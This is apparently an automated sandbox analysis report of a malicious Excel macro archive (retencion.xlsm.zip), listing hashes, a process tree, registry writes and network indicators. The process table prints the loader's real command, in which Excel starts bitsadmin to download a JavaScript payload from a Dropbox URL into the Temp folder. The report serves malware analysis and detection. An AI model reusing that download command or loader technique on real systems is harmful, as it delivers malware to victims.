| File name: | retencion.xlsm.zip |
| Full analysis: | https://app.any.run/tasks/d9a61c83-0b08-4488-958c-5da0303cc4ee |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 10, 2019, 19:47:02 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | 40202F64D33CB8E0AA1B2A5797E8F674 |
| SHA1: | F7A80C2AF5DCE70AD128F0D4E3F36308E0D04DE5 |
| SHA256: | DC77769691FEFCE864149EE9117BFE97A242E9B5DABC54691FF1EC79CF4E6A1A |
| SSDEEP: | 768:wfL2YcljmWTyt72XFPGOg5A479QbnGYLGemb8KUqwM9nEfVDT+J:6L2zBTI2X9GOg5A47iD+emYKXuqJ |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3004)
Uses BITADMIN.EXE for downloading application
- EXCEL.EXE (PID: 3004)
SUSPICIOUS
Starts Microsoft Office Application
- WinRAR.exe (PID: 2956)
INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3004)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 788 |
|---|---|
| ZipBitFlag: | 0x0001 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2018:12:14 21:28:04 |
| ZipCRC: | 0x72e90553 |
| ZipCompressedSize: | 34785 |
| ZipUncompressedSize: | 37944 |
| ZipFileName: | retencion.xlsm |
Total processes
38
Monitored processes
4
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2816 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2956 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\retencion.xlsm.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 3004 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3848 | "C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal https://uc4f42723e4d9cb9cc065d3c07d7.dl.dropboxusercontent.com/cd/0/get/AXceqHqr0I85BNk8gFGbnqd_wwMdl33h5h24Dj8zO0wuCm9hpa5UytMoBs_3Ba0T6GHZ85NEUo5IEctVsmK5AhSKJWmG7BwIVeC4Z3IgEZubIKDWq4a8_SjKcn5QgRkXvaE1OBrrE4hbTNTgWlyXWCqZzHFAcuS0zURFpvDBSKC0UGa2y38gLnRdrO7AntUcG24/file?_download_id=5581924228789783766119020097164499183865548220055928297814792769&_notify_domain=www.dropbox.com&dl=1.js C:\Users\admin\AppData\Local\Temp\\pepe.js | C:\Windows\System32\bitsadmin.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 2149122452 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 106
Read events
1 056
Write events
43
Delete events
7
Modification events
| (PID) Process: | (2956) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2956) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2956) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2956) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\retencion.xlsm.zip | |||
| (PID) Process: | (2956) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2956) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2956) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2956) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2956) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
| (PID) Process: | (3004) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | au0 |
Value: 61753000BC0B0000010000000000000000000000 | |||
Executable files
0
Suspicious files
1
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3004 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR91B1.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2956 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIb2956.14677\retencion.xlsm | document | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 162.125.66.6:443 | uc4f42723e4d9cb9cc065d3c07d7.dl.dropboxusercontent.com | Dropbox, Inc. | DE | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
uc4f42723e4d9cb9cc065d3c07d7.dl.dropboxusercontent.com |
| malicious |